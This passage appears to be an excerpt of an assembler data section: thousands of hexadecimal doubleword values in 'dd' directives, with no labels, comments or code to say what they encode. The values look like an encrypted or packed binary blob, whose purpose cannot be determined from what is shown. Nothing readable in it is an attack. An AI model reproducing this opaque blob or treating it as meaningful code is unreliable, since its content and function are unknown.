4E3E6850h, 97FDF23Eh, 72D42CB8h, 0D8F6B02Dh, 3C80E688h dd 0CB89530Bh, 72752262h, 0EC5A4E2Ah, 0EB82F45Fh, 0AFCD2DCh dd 88ACB48Ch, 32923EABh, 3161FEDDh, 4D3367FCh, 0AD4DAA4Ah dd 0E06E5B3Ch, 5D04B97Eh, 290D8A06h, 0E98A60FFh, 22B16E0Bh dd 8A628B3Eh, 6A140565h, 78C34300h, 5A770E40h, 0ED08429h dd 72CA6808h, 0E1E963F0h, 8139EE85h, 0B233A83Fh, 61E97E60h dd 515F7C68h, 80842DA1h, 1A58F14Bh, 30C15051h, 7E1207E1h dd 0B15B93BAh, 23ED0D90h dd 0E4372730h, 7D0F32DDh, 4897956Eh, 8226D6CCh, 0ECB86B85h dd 892576A9h, 897FDEFAh, 7DD9087Dh, 45203228h, 0E8C00593h dd 826F2C07h, 5C057BE6h, 0FB192CEBh, 0F7C7C060h, 9A0D1602h dd 92990963h, 0D8290F0Ah, 83A14A78h, 0EF03DD70h, 206E6E12h dd 4B10538Ah, 5868138Fh, 0F9662EE4h, 0D95E82C3h, 302CBED2h dd 9DEEA079h, 9DFF62Eh, 8A691B6Fh, 0DF81E058h, 618815B4h dd 0EBB801E4h, 6B690635h, 215AD404h, 50E3CBEBh, 8FB3318Eh dd 25BA7D08h, 17445440h, 929CDB9Dh, 1E38D852h, 250A4B12h dd 2FA3012h, 7D970CFFh, 45E503D7h, 2FBD8FE9h, 30016CD8h dd 980C1D7Ah, 8E2DAF86h, 4EB78051h, 9F152D22h, 7000BC2h dd 0E9DD0159h, 88A0347Ah, 16EEFC30h, 0E1B9A665h, 2FE6E3BEh dd 7613F885h, 0C9BC275Eh, 2A37ED49h, 308D6913h, 0A3EB446Eh dd 283E5446h, 9227A652h, 40695CBFh, 4B7E6B5h, 78C78027h dd 83CBEBCAh, 84ABD259h, 4900EDCBh, 0D7F7F987h, 4D909CDh dd 8D247B40h, 59F7638h, 0A5509BEAh, 4038B91Bh, 772AE908h dd 0D68096CCh, 0F0982EF1h, 417E5D4Ch, 586F2007h, 77C05E5Eh dd 0E295ABF5h, 0E7E93884h, 3D89F3CBh, 0DC352D53h, 9374A5FBh dd 0D6ACEA8Bh, 5478CB68h, 1179E135h, 0CB1EA21Ch, 0D101FF8Bh dd 57F4960Eh, 0C592E3A5h, 0ABA0DBE9h, 55982768h, 0AE60CB76h dd 4E71A630h, 0FC12FE5Fh, 7D54550Bh, 837DED33h, 1BC7824Bh dd 4E3784A0h, 350BF74h, 0A2E2D128h, 3B5EA524h, 0D2F74A02h dd 3A8BDD52h, 0EE455E60h, 312B0F0Fh, 0FAD23CD7h, 26C18FA9h dd 6A93F594h, 5E4ADEE0h, 5EF9A73Dh, 92C1F8B0h, 0B2F9803h dd 0E8DC18AEh, 467F1C70h, 8714D92Bh, 5D65571Ch, 0E9276736h dd 27EF56EEh, 2D8B655h, 52CAEB80h, 464178B2h, 7F432E2h dd 534F7419h, 740A7029h, 494202CFh, 9318E914h, 0BFC16EDFh dd 0E9090B71h, 6AEC7C0Ah, 19203A0Fh, 1B4424A0h, 9A9D4B3Dh dd 1727ACh, 9C2D3988h, 322974Fh, 0EC541ECh, 0F063C82h dd 219B5D5Bh, 0F3814388h, 0ADB2B00Fh, 0EB573F40h, 0E9C4AF1Ch dd 0AE1EDD2Eh, 0A49E3518h, 2909CB98h, 804ACD55h, 626A231h dd 0E4B617Dh, 6009F9F8h, 489DDDABh, 4D29E915h, 71057DE6h dd 817DB440h, 87E1910Eh, 77ABED53h, 0AFC02165h, 4E847EACh dd 4175FD44h, 35B45008h, 10013849h, 89072325h, 0E06A576Ah dd 0AC055EBAh, 7775BF3Fh, 0F73DAEF8h, 0E4F84Fh, 42163035h dd 0F197684Fh, 77396B26h, 17B9A93h, 0AC173590h, 97949F49h dd 0E975FCC2h, 682068CAh, 5470130Ah, 13D4AA21h, 0F71511FEh dd 3CDE0075h, 76B9EDBBh, 64E34C27h, 0C1758344h, 370C3598h dd 0C63A636h, 3E1EC906h, 5E4DB290h, 945D7F2Dh, 83E91060h dd 0E0B204D6h, 0BAC2CAFEh, 92795602h, 2558BC9Bh, 0BCA322ACh dd 3A80AA9h, 4F7D3462h, 7A1A17D9h, 683A37A6h, 53F1732Fh dd 4520578Bh, 5596AEh, 0D76FE32Fh, 87EAE972h, 3D823A9Ch dd 0DD64A557h, 0A78049E4h, 912547DEh, 0BBA27D49h, 3DF45859h dd 8057B560h, 8BB16EDh, 50CE1DEBh, 0DDF61F7Fh, 200AF54Ch dd 0B40CCC03h, 0C5F89906h, 0B3530B09h, 135BFC4Dh, 0D346BCF3h dd 2D7500EEh, 481561FDh, 5D3E913h, 2B9A79B9h, 53077756h dd 0CF8F3A8Eh, 0EBFCF7DCh, 255A7DE9h, 5AC460ECh, 47514853h dd 0F10DD07h, 9CED6A70h, 2335C9F5h, 7202C56h, 71A5E4Ch dd 3DE5479Eh, 2B5617CFh, 0A9DBECB8h, 6D9E07F1h, 0C2CCDA8Dh dd 37C2206Ah, 9057D725h, 767D0F2Dh, 0CECC5E38h, 0C905C674h dd 29245B34h, 80685B1h, 534A050Ch, 0F05F09EFh, 0E40AC695h dd 961F7554h, 6928D12Dh, 1570AA84h, 2D3350B3h, 37191F13h dd 287C4FBh, 0FCE95F08h, 0F327D85Ch, 515A0DE6h, 0C00FCAF6h dd 0F03157F6h, 60CDD15h, 0A2141C53h, 25763B0Dh, 0D1C10C2Dh dd 88EFE07Ah, 2425DEB4h, 1DE0C0B8h, 1C491EBBh, 0E44B97C9h dd 1F71E2EEh, 4797F4Ch, 71A82092h, 0E99580EFh, 1B95FCBFh dd 73049597h, 0AC16DCB9h, 0B0C611BCh, 46CAC102h, 0BC7E70AFh dd 7D0A9CBCh, 0C490FC56h, 732501C0h, 0EC4C5E4Dh, 0B0CD087h dd 591C8B59h, 0D4DEC40Eh, 0C3B7EEE3h, 9241BC5Bh, 0F98901BBh dd 200CE93Ah, 4F16F5CEh, 9C18319Bh, 7111C738h, 4486F191h dd 0F08C36A0h, 98D77420h, 9A3D3579h, 8ACF835Bh, 8FB70D3Dh dd 6D39F780h, 0E2E07FB0h, 17C2F6D5h, 1DD4204Dh, 0E1802069h dd 98BD88EEh, 0B5490381h, 0A82FDEE4h, 0F15D81C4h, 9C606E7Eh dd 53764166h, 32C13599h, 7A877C36h, 65AE5F5Ah, 0C21BAD7h dd 27236537h, 5814C340h, 7E84812Dh, 4609E7h, 88088523h dd 543B539h, 61D0AB9Dh, 4F6975D3h, 0C029C407h, 4764C692h dd 1259262h, 6B668BEFh, 4B91788Bh, 0F59FD03Bh, 3937771Ch dd 0F5E9481Fh, 0D96A8380h, 58B0A1D1h, 97237A00h, 48AE0D7Dh dd 357B1C34h, 4A11C951h, 0F0CA304h, 0F06C0268h, 6C527550h dd 1E3D7549h, 0B80B43DBh, 0E04DA7F3h, 72D4BDF2h, 9FCB658h dd 819BB6E5h, 0DA64077Bh, 88FA5A17h, 0F76585E5h, 0A9215575h dd 3101DC11h, 0C99D7BF8h, 14A947Bh, 4A4144D3h, 42F82B42h dd 0E933E096h, 64C9B225h, 5E2EC129h, 6E7DF07Ch, 0DDA961C1h dd 2A000B79h, 814C0F55h, 662E02E3h, 0EB0E4682h, 0F3E097C5h dd 0E9C09F3h, 0D1546CFCh, 5B40F8A8h, 0FC0FDBEh, 82EBAA1Bh dd 5FC5E55Eh, 4DB9E7B8h, 7B2E0E04h, 0F2FACE21h, 25E90CCBh dd 2BE8ECBh, 2E31154Eh, 46D5DEF7h, 0B8466963h, 26398700h dd 0E92FD3ADh, 27D659A5h, 16F6CEDAh, 9A026B9Fh, 4452443Dh dd 0F101C3E0h, 68348F21h, 219D7EF9h, 7AF1A73Dh, 0EE65408Bh dd 0D46818DCh, 9891311Ch, 73C98080h, 4AF1382Eh, 4259CA1Eh dd 0D4301FEAh, 0D9811B5Fh, 690FFECh, 87A04F85h, 0E3283FFCh dd 0BCDAEB3Ah, 0C0FAB4D7h, 0F280BE78h, 0CA00B073h, 3E2C002h dd 2F97B151h, 0B10561E9h, 95D7875Bh, 24CAB4E6h, 16E3E844h dd 0FAB77796h, 53D7A190h, 0EC4250ACh, 0A211357h, 8C1D8136h dd 0C472382Ch, 4A095E9Bh, 29175A80h, 0DEBD0279h, 0D2F74340h dd 0F200047Ah, 0A5749E9Bh, 0BE7C2DE9h, 5C9862CEh, 0F8F43277h dd 0A66141Eh, 0DF06EE85h, 0B59960E9h, 2630CD76h, 70ED6CB2h dd 2AC03065h, 0FED8FC0Ch, 0FFEC2B4Eh, 7B26E90Bh, 0C450F8D4h dd 279C9D95h, 3D1796A0h, 0B425CD30h, 96A04839h, 2BB40F18h dd 7DE945FDh, 0AEA894F8h, 4FFBFBC8h, 0CD2DAFB4h, 4F5BD7Bh dd 74EF1307h, 0CD1E18BCh, 4E9CC941h, 48464E83h, 9668620Bh dd 0AD713017h, 39E3162Ah, 27F3E829h, 0D1A82250h, 948525Ah dd 6C107D2Fh, 700DC62h, 27786859h, 49EEB6h, 6F0FCD74h dd 750D0041h, 51FB93Eh, 0AC3A0386h, 7FF9801Bh, 0AD35132Eh dd 0D93627B0h, 0EEF0847Fh, 67BB65D0h, 51974C15h, 0BBE88C13h dd 512778Eh, 258E4BB4h, 0B5BE6D7h, 6A6E1767h, 46D03709h dd 70AF594Bh, 0B431D90Bh, 1F53948h, 700C18F7h, 177FAAE9h dd 7E38EEBEh, 4F3F9257h, 61EE54h, 413AE659h, 4C2D5276h dd 1086E73h, 745B1829h, 77132A65h, 0DCF0463Ch, 0B8569D01h dd 4E036850h, 1E83227h, 0B80C4770h, 400F303Ah, 36EC4DB5h dd 808BFB22h, 814A62C2h, 147078DEh, 17C7BDF2h, 931145ADh dd 0AB3DEF5Bh, 12CBB67Ah, 39BF2B1Dh, 89C12FF5h, 0F768BEE9h dd 0F931661Dh, 8C8579CCh, 55598CB3h, 2B9E5AFCh, 0C8010Bh dd 8F14DC13h, 0E9C14024h dd 8292F3E8h, 0D724EB77h, 0C5929974h, 5D72B201h, 0D5E1588Fh dd 0C6C77889h, 2929756h, 7389601h, 0E16A3437h, 71A83E85h dd 11075E92h, 16EE054Ah, 2D832922h, 5A1DECB9h, 325EB333h dd 0B0F50072h, 9D4BD926h, 14643CD4h, 62BDD20Eh, 0F1E50E5Ah dd 76F94D9h, 80FE2838h, 2095EE80h, 8E8F14Ah, 132EF226h dd 689261BEh, 0B20D009Bh, 11AC012Ch, 62976135h, 66F32BDAh dd 254431C1h, 0CDCB7E40h, 281A6809h, 1992A630h, 35394B00h dd 502F17E3h, 0DD81EF7h, 3128BBEDh, 0C03DD1A7h, 10869524h dd 0EBF05B37h, 3C20F783h, 667340E3h, 4F1C55B2h, 0D01F722Ch dd 2E8F6DFAh, 14C8EA6h, 43B55165h, 5059D828h, 295590A1h dd 7B6A204Bh, 0A00227FEh, 9AF6E74Eh, 0F12D0BBCh, 2456E61Eh dd 5F17099Fh, 14EEDB48h, 215E4212h, 0F6107CF9h, 685804D3h dd 9ED85AA1h, 9671732h, 92580374h, 3210B336h, 2C009714h dd 0D8285AA2h, 564B4668h, 480448E3h, 84E92204h, 74F4AE37h dd 7366795Ch, 1732CBF9h, 0F889AEDBh, 4E12F7B1h, 68131A50h dd 16623EEBh, 0D510EA9Ch, 5EB545FAh, 0F17F18E6h, 11BB5E52h dd 56680A3Ch, 0EAC7FC15h, 75786E92h, 0B9513340h, 1914D50Bh dd 5CDD00Dh, 0E905A877h, 0BFB44269h, 0E9423FACh, 7B9FA780h dd 0E9137A25h, 0C0F84399h, 7972EFD7h, 0BD667777h, 54396816h dd 21F4F9F8h, 7BEC685Ah, 0ADD36AECh, 1BB992B1h, 0C46652D7h dd 61E582E8h, 5062794Ah, 8E820379h, 0DD3CA969h, 77159FB3h dd 2C236E9h, 0B0701ABDh, 0E807F730h, 0F10DE43h, 0AE621BEFh dd 0B82DF54h, 562C5855h, 420635A0h, 31D64017h, 0D84398C1h dd 0F75A08AAh, 69799AC0h, 822C7FC7h, 0B56B78Ah, 0ECDAD2BAh dd 0B060F3EEh, 8F62D86h, 0E88F9025h, 0FB558265h, 519C3E51h dd 0BA5D27D8h, 49C55C17h, 0E3C28654h, 24F11A1Ch, 79A1EE81h dd 0B53F22A3h, 0AD08041Dh, 706611E4h, 0F66ADD41h, 6215C968h dd 7F165564h, 0DE9E2991h, 0E7E9F382h, 249464A3h, 82CAD5C7h dd 29F4684Ah, 5E61CE74h, 60F64C42h, 2F2F194Dh, 0ED5365Ch dd 7F4B7DDDh, 4107A418h, 0FBBBDB83h, 7076EACAh, 0F6801362h dd 81DFAF8h, 0C432C68Fh, 0FEF4B2ECh, 0E37C179Dh, 0BA84AF51h dd 6AC10857h, 2D80308Ch, 0CFADA3C7h, 0D200054Ah, 2D3CE70Dh dd 4F5468EAh, 5E9E13Fh, 8BB10107h, 6A286333h, 0B80ED098h dd 9722FB5h, 4D4BF6F8h, 7AB8E500h, 950E8851h, 31200650h dd 500F20FEh, 49C02D05h, 0D8A03638h, 25031291h, 4EC00145h dd 3EFBE91Eh, 58641F87h, 56F48697h, 72A288A8h, 0FB27257Ch dd 0A89A4580h, 0FD5182C5h, 6DA98415h, 0BF8794BEh, 27E97738h dd 68C5A058h, 286FDC08h, 55570887h, 2CBF116Dh, 29890209h dd 0C2CF84D9h, 20B1F3AAh, 3573B789h, 0C31CF5A5h, 903DD3BDh dd 5D5EA202h, 326252D1h, 0FA3103AFh, 24F981B9h, 6C0FEB66h dd 6B40C556h, 68C47687h, 673101C2h, 0FD4217EFh, 0D07BA537h dd 4E35F047h, 0DD8BB83Bh, 0F3088D31h, 7AF12D3Ah, 3A39F5E8h dd 52A0CB80h, 0D3E91DB2h, 8FD4819Dh, 0E37A3042h, 9B1FD699h dd 574B2620h, 0FADB1630h, 0B7A292Dh, 0B55CACB0h, 0D7F244E2h dd 5D4BCC14h, 5F5AE205h, 7F1501FFh, 6F21380Dh, 196ABA3h dd 0B51A65EEh, 5AC26807h, 51C9A8E8h, 0FCD54CDFh, 8D584FA6h dd 0EDF62FEDh, 70802D05h, 283DF85Dh, 61F80705h, 0A2B5513h dd 0CB13180Ah, 81905167h, 0BF731F3Ah, 607BB2B0h, 3A50EF96h dd 171CB7E8h, 0E708E690h, 61F7E58h, 2077D8E9h, 0A707B43Bh dd 574AE2B2h, 0CDB7BE4Eh, 0AE2C387Bh, 706860F8h, 30ED7C64h dd 275F8433h, 0B6A73899h, 43800E42h, 78FB7617h, 60712C8h dd 2441686Bh, 5250E379h, 0B397D3E2h, 24728276h, 266A1814h dd 919BB575h, 8AE8C9CAh, 7DEEF1F7h, 58ECF45Dh, 42497FA4h dd 0CE810102h, 6BBF12E4h, 0B793DC20h, 0CB896CB0h, 1315C4B5h dd 4417D39h, 1392C560h, 0DE7C05AFh, 74D9EBE7h, 92AFED3Ah dd 0B851C0E0h, 121E58A7h, 0FE702084h, 0A22E979Dh, 20A09FF8h dd 0B03EC320h, 0C03FFECEh, 88E8E4E8h, 5103BB52h, 8E42121Eh dd 560D1F0Ch, 6A612F3Bh, 4913396h, 67542990h, 796186C7h dd 0A53A1BADh, 9C0805AAh, 314A972Ah, 0BD02B1F7h, 0E7C5737h dd 45005376h, 0AFE9317Eh, 0ABF7D39Fh, 0DFD3757h, 1FE00EE4h dd 90CEBA13h, 683A285Bh, 4658CB27h, 0CC332A39h, 0BA56F021h dd 80BE049Eh, 0BAF8AC7Bh, 7D92B592h, 0E8C32720h, 174AD193h dd 0D9006EC4h, 1C7E50F1h, 0B18E32E9h, 99C1D853h, 64D4C601h dd 0F5225540h, 5FDBCB1Ch, 68043BE5h, 4EA8460Bh, 851909B5h dd 77EB605Eh, 8275B02h, 0FE3AE05Fh, 7E8076CDh, 20629043h dd 5E4E0E48h, 0A7BA14C4h, 815C0034h, 0BD7FD2F3h, 85E92F1Bh dd 3E5B2661h, 0BAB678A8h, 44656812h, 1BC962ECh, 5D9EE2FFh dd 0F1310734h, 0B55125B1h, 44BA85CBh, 166F3E82h, 7DD5C407h dd 20C69A6h, 0C5AC567h, 0E8F0E8E9h, 1AC8312Fh, 0C3AED69Ah dd 620FB2CAh, 131A75BFh, 138FF5E0h, 1C816E5h, 0E44D2416h dd 3C74F95Dh, 0EF0118A1h, 81825E10h, 985BBC66h, 54EABADh dd 0C2ED272Dh, 91810058h, 0BD903AB0h, 39F07827h, 31862D34h dd 2A09CA42h, 0F87FE915h, 346F13E9h, 49E763CCh, 0D29D3B35h dd 96F3EDEBh, 0BF354D18h, 0B03A3E3Bh, 0AAE78182h, 2E605537h dd 5A2487EFh, 0AD3F846Eh, 0A6C15317h, 5B3200CAh, 0CA812046h dd 9962BC16h, 0E8ADE06h, 7CAC1399h, 9459C594h, 0B38EEEADh dd 2A89BD4Fh, 459F8825h, 48CA8A4Ch, 89ECA562h, 2E4CEB59h dd 20137C50h, 9DF89325h, 4810B250h, 0F7B0F458h, 0B3A2205Fh dd 812E1A0Ch, 0C2073005h, 0B40491E3h, 0FE1798E1h, 4E16CC36h dd 318746A7h, 0EF0BF311h, 8018E663h, 21C5E238h, 0F70B02CBh dd 0D13BE9D2h, 90056C7Fh, 41C35F08h, 6A4DC183h, 21AD4079h dd 740B7A78h, 922DBCE9h, 0CCD18476h, 0D425FE13h, 5D1F8BBBh dd 55949F15h, 0AE68C2DFh, 30ECD512h, 99EAE910h, 45B95101h dd 2A5D3A38h, 81003CE2h, 0DB9DF9F1h, 0CE2F09BEh, 0ED478259h dd 0FD6801F2h, 7B982E77h, 2DD32505h, 3B02EA81h, 1AB2001Dh dd 0E9170A03h, 27DCC08h, 7532307Ch, 5D57F460h, 62B3312Ch dd 0F129943Ah, 0D8D127E2h, 916D3226h, 497CC14Ah, 60E58A7h dd 12F9721h, 8B0228F9h, 4F460663h, 2DA25D47h, 9576EC8Ah dd 2FD9B588h, 4908C5FCh, 6A7E30B8h, 417B114Ch, 0A3C09B5Ah dd 97F932Dh, 0C689B727h, 4072584h, 0C7EF3804h, 7FB34BD2h dd 0B2F3D883h, 0EB68EFE0h, 9AF35C4Bh, 0EDC0DB03h, 22F15307h dd 0C06D3C50h, 8AC180A1h, 6AB62652h, 5DAE1E61h, 0ED1F3ECDh dd 0B7F5C221h, 255EE30h, 812079C6h, 639DE9C6h, 740D292Eh dd 7BEB687Dh, 4F2016D8h, 38F13708h, 3DCC5DE9h, 0F84FF69Dh dd 0C21CBD55h, 0E9872E3Ah, 0DD0BB67Eh, 5B9000E8h, 0AD7AE23Eh dd 5D826265h, 0FBC19043h, 581097BCh, 6E7437EDh, 7DEA12ACh dd 39041DB0h, 0BAAF6A3Eh, 11A96EC3h, 850ABCA9h, 640A309Ch dd 123775F0h, 0F832D94Ch, 0D8A0738Ch, 8265C1h, 52503CEFh dd 62E5F63Dh, 3664EB76h, 0F15A966Ch, 0AD5FA1A8h, 3914C8DFh dd 33A0E720h, 702613F7h, 59069C3Fh, 90D9B3Eh, 72960A89h dd 0FE032C80h, 0E912CDEFh, 74BFB1B7h, 149B024Bh, 0A2602D78h dd 0C00B05C5h, 7F010CD6h, 2D051E46h, 543D71C1h, 0D9A83985h dd 21462503h, 47A87372h dd 403AE63h, 0C27CD405h, 56FD1213h, 38B6F3A4h, 710D2F68h dd 4A2A619h, 0A2CC39E9h, 2349BCDh, 0BD4892E8h, 6CF23179h dd 0BC525830h, 98E0EA0h, 107A6866h, 2842181Ah, 87FFEC29h dd 0DA0B6440h, 3F7C0BF9h, 16777DBDh, 6293945Eh, 97C7C48h dd 552ED087h, 2C76F69Bh, 4F6903EBh, 0E5B07BCBh, 3EEB23D8h dd 30DE4580h, 0A4775E3Ah, 7DF6EBF4h, 0AC4DF72Eh, 2454BA01h dd 41F3013Ah, 1CA0081Ch, 0F05D4E14h, 0A840AB34h, 80E103D0h dd 0D1F6D2F1h, 0D60E0467h, 0CAA425A9h, 0D623CBB4h, 2C5C812Eh dd 0BDD82B21h, 5901403Bh, 3ABA575Fh, 0FBB0284h, 577AC3C0h dd 0F931B560h, 0E1C15F7Eh, 5168C8C5h, 4C50A620h, 4EC1038Ah dd 2B025E75h, 92305129h, 9E3C060Dh, 7C4E460Bh, 0E21E8A01h dd 3E7068C3h, 0C83FC151h, 5DEA5180h, 2965AA03h, 96FE29Dh dd 965DD08h, 4EECC396h, 0E9B37442h, 18775BFAh, 80F857F7h dd 0F2774B8h, 868ED593h, 0BF0BC473h, 0C0D3C6A3h, 3855BC64h dd 68575F00h, 796E7AB1h, 84EE4BE9h, 3F4A7DC2h, 0ED3EAACDh dd 660B9642h, 971A5BD4h, 7D39FF53h, 0D05468A5h, 0FF23E98Bh dd 0F57708AFh, 0E3DC03A3h, 0A82D1600h, 296A6779h, 525501F8h dd 0A6435468h, 1F0F2B0Ch, 0AB34A017h, 99EE4EE9h, 0D37A10D5h dd 0F6538612h, 0E68CD146h, 7CBC2729h, 0FEB55BCCh, 5CEA601Bh dd 2B5F0C4Eh, 841CAADh, 0EA9CD87Eh, 450DB4C4h, 0C7818DD0h dd 1FC87507h, 96788A05h, 438EE118h, 0C1E59C91h, 2EC4C3A2h dd 30B212ECh, 753C4A7Fh, 0E9502CF1h, 443AEB5Eh, 52D3EABCh dd 805420Ch, 0E394C35Bh, 43DB323Bh, 0FECB0E0Fh, 0DBF7C73Ch dd 58D387F3h, 0DA17CA0Ch, 0BBFC5FC9h, 2409AFA5h, 464584F7h dd 4A690D80h, 0EF184F84h, 43A6A906h, 0F2425C81h, 9F68F905h dd 0F5A10047h, 52408D20h, 0EFD95E50h, 0F470310Dh, 95066054h dd 50F6B511h, 720EE9C2h, 0BBA2BDC0h, 56E14819h, 0EE0F2BC1h dd 9724C1BDh, 0B47F0907h, 0F6B5511Bh, 0D590540Bh, 0E201FD1Dh dd 0CF6E7865h, 0CEA17A64h, 81D33147h, 5ECBC3ACh, 0F3D8226Ch dd 0D8BC04EEh, 42DA8964h, 571F15E9h, 5E7F3422h, 2C9BA0D7h dd 495768F5h, 2810903Ch, 18E45A52h, 8578B73Eh, 662ED0F8h dd 629D915Ah, 26491A6h, 607329F4h, 92CDCBFDh, 44480E2Eh dd 1C6F0055h, 41351B16h, 904AEE46h, 7EF1482Bh, 3A768C2h dd 0F22CC655h, 30185E3Ah, 0D6C65E0h, 3BB96D13h, 7F87900Bh dd 0F9C17A40h, 1561231Dh, 241D10AEh, 3F001CD6h, 53442F1Ah dd 0F1F94021h, 1055090Ch, 2FE3611h, 68FDEBADh, 19555791h dd 82640B50h, 0E068FF21h, 4C9AE8A5h, 474B0189h, 6F298A16h dd 0F91D46Fh, 2DBC62B2h, 54C9E5D1h, 3768C13Bh, 21BF5163h dd 0E33500A4h, 10F50022h, 0C158C609h, 0FDA002E6h, 3B277237h dd 0CF3A6831h, 0C158810Dh, 0B050E4D1h, 0FB0C301Fh, 0F228C289h dd 0ED9B019Ah, 895B3987h, 2F6F66DDh, 0C264FC31h, 10905F53h dd 46799F2Dh, 416D374Ch, 0EC0804AAh, 0BAC0126Dh, 2E149CBBh dd 53B9175Bh, 12B7B984h, 4EB707BFh, 0DC42BB8Ah, 2B0641h dd 3DD9DCBDh, 0BE1A7FD0h, 3BAF43A2h, 11F0D52Bh, 78D274B5h dd 0AAA9B6DBh, 6D927A06h, 0FAE5572Ch, 0A908C7ACh, 0ADAD1475h dd 0D9609C04h, 0FB4E8126h, 0A0EE049Ah, 0B538ADC9h, 0ED76CCFFh dd 53CD7120h, 920F03h, 0DFC0DA4Fh, 0F03E0109h, 842D528Bh dd 0C9EC49E9h, 33B70928h, 0C35514ACh, 0D05F20C8h, 0ADDE293Eh dd 0FD18556Ch, 68BFEDB7h, 9758C145h, 7C9CA79h, 7005D07Dh dd 62470CEAh, 0F4728616h, 512EE779h, 81403CF2h, 0A1063834h dd 5AC0BFE1h, 0A807B743h, 0DBA8BEEBh, 49CC053Bh, 56F08C3Eh dd 6D00BD7Ch, 0DA0E20BFh, 0F7811A01h, 53917796h, 3C89BD40h dd 25D0985Ch, 7F9B45C9h, 473F6C9h, 6EC5DCAAh, 0BC080B44h dd 0DFB2D4Dh, 8AFE5F12h, 0DA2E1043h, 8DDF716h, 5027C276h dd 0BFFAFED7h, 0A8597904h, 9D68A0CEh, 6F369639h, 45AD1F6Dh dd 4C1BB70h, 0DC6FCFDDh, 2BD5406h, 774BB975h, 0F7262A47h dd 621F425h, 154653E9h, 0A0DAEA81h, 990BF7DDh, 7F53FC2Ah dd 804EBC2h, 4050CB59h, 3604EBD7h, 6EE90E9Ch, 905587E0h dd 548E0CDFh, 0E3186D1Bh, 0F025C4B7h, 24EB5B87h, 0A8F301A1h dd 63B2920h, 4C8A0B74h, 0A6C23E94h, 6E0D8257h, 0DE66C075h dd 0C6312B5Bh, 0C5E98470h, 2F3788F0h, 44C1191Eh, 97DFE1CAh dd 0ED6C7D6Bh, 5A1FD20h, 8B285A68h, 5B40CB5Eh, 8BFCA1C5h dd 0CF07B01h, 2868FE9h, 5825F29h, 270A9436h, 38BC4717h dd 6C97EA80h, 0A8BD4B57h, 0FA330874h, 0AE92F3E2h, 89A12F6h dd 5587062Bh, 592540FAh, 0B816F65Fh, 5D4A5720h, 15E60E0h dd 35054671h, 0C9414ACBh, 0B110DC48h, 68743B27h, 971450FBh dd 0C94E6159h, 0DAA6C902h, 2BF7D24h, 21F20980h, 0E960CF81h dd 0CD35DA0h, 8869205h, 0F4E07982h, 0D249A8h, 613D3B24h dd 200CF269h, 0DEBD35ABh, 2180DA95h, 639644A9h, 68408D90h dd 94A0FBBh, 0FC442330h, 0BA9794C4h, 4CC133B0h, 730F2479h dd 0FD93CF89h, 38DC026Ah, 0DC5DEF21h, 60851F23h, 207E6813h dd 0E93C68ABh, 0DAFDF05Fh, 0C2BAF10Eh, 99B02Ah, 6BA706A4h dd 224A60E9h, 81FE73h, 0CDC2B290h, 1AEEE956h, 988B64B5h dd 57B7602Dh, 0F46091EFh, 6087165Eh, 0CD0C5D30h, 0DE7FC20h dd 368028D1h, 0BB5420B6h, 24B6B93Fh, 0FB2F3B01h, 92D7A71Ch dd 0C14FDD62h, 4453B193h, 5C13DAAh, 0CDD607CEh, 0EF2CE438h dd 13EA2834h, 6BCAEE6Ch, 0D83EF505h, 0BF910047h, 513B4A12h dd 7827BAC1h, 0B57F72F7h, 0D3873EA3h, 6800D644h, 7A9D259Eh dd 54FA585Fh, 84006674h, 0D530564h, 893A78B9h, 3AFD8028h dd 7D2555CAh, 6A59030Bh, 490A792Dh, 2E38E9A9h, 0FEBF4D00h dd 5F293A5Fh, 9133BA4Fh, 0A448D9F7h, 61ED9830h, 0F1802EA6h dd 0E0C1CC1Dh, 2A842EE1h, 0E493A2AFh, 698F91C2h, 0E8C8C507h dd 93B1BB50h, 32D8EB2Dh, 69A79D95h, 0EF5472C2h, 0D46EA077h dd 0BA557241h, 22F0306Eh, 3A13EA79h, 5D251613h, 0F4C574BFh dd 0DA9D0535h, 0E8E924DAh, 988DAA5Dh, 589F2483h, 0DA210BA6h dd 3B8510E8h, 0F330792Dh, 80250058h, 2D224C01h, 0B1485A0Ah dd 51C8D63h, 0A90B4441h, 58E52935h, 6D1BC82Fh, 4896697h dd 77162041h, 1F8EBF5Dh, 8F250C5Ah, 0B20052DFh, 39E280C7h dd 129DB353h, 8403E3C0h, 5404FA26h, 6609B7F2h, 54D532FDh dd 9E194398h, 65ED8500h, 0C1273B30h, 26067EE5h, 89CAAFA5h dd 53A15EF3h, 2857FF68h, 7C02C9F0h, 64FFEBB8h, 20DD31CBh dd 7370B21Fh, 2EFDD367h, 0FC91AE92h, 0B823AA4Ch, 7B8FAC5Ah dd 9AA06120h, 0D9C30B6Fh, 0D258CC13h, 1C3043E0h, 0B3C40C6Bh dd 68170BE1h, 0C666624Ch, 13989520h, 4966CDFEh, 0E0A52892h dd 2AC5EAC7h, 2B8E79AAh, 0ABA5E9B2h, 9567322Ch, 0E0367809h dd 0C55E97Dh, 98256084h, 30DC6BDh, 7705DCB9h, 0A8F15209h dd 2A2BA86Ch, 0BBF6314Fh, 8E04874Ch, 152D041h, 33B444D3h dd 180B0CBEh, 4F7809E8h, 910CA84Fh, 41FA5657h, 7D713B59h dd 24068ADCh, 663A2525h, 2D7832DAh, 52F7E829h, 34B5177Bh dd 538FE030h, 0C02FA441h, 4340A3E7h, 7EFF557Ch, 76B7BB12h dd 0E9B0075Ch, 27B479AAh, 9C59E95Bh, 85A3272Bh, 8991BBD5h dd 0D1E101C5h, 0C405A25h, 604E15F6h, 5AE60C48h, 55800485h dd 29C02813h, 0ACA42CCFh dd 0DD8901DDh, 89DB82E9h, 0AF9D8E69h, 1727613Ah, 8AEC4D73h dd 69A3BF7Ch, 224CF031h, 282C7D05h, 836962BAh, 0F84261ADh dd 61F58166h, 23E90D65h, 34BB506Bh, 0C54B88A3h, 9D0E0846h dd 9054A35Dh, 0B0584360h, 4F513190h, 0D8F5C2D5h, 0CCF6C031h dd 54AAA34Fh, 842028A6h, 648D2951h, 50EA8E1Eh, 46E91549h dd 51522DF4h, 0EAE9613Bh, 0F631021Bh, 0E28A432Fh, 0AAC142Ch dd 57AD0C09h, 1475799Ah, 60A290D0h, 30B8CD65h, 3D5A8F28h dd 9A3C0CEDh, 2A91B3DBh, 501E998h, 68807D99h, 4E30920Dh dd 1F407639h, 0EF611A9Dh, 7670A0F0h, 6F31F49Fh, 92E82D7Fh dd 301840F2h, 6EC4132h, 0DE122EB4h, 0EFACBF08h, 0A04578F7h dd 9B95180h, 4C135FAAh, 8C96688Eh, 329CCCFEh, 977E0924h dd 32E9A398h, 0B9054F92h, 6C755ED4h, 0C50E82h, 111667BDh dd 3D13E4Ch, 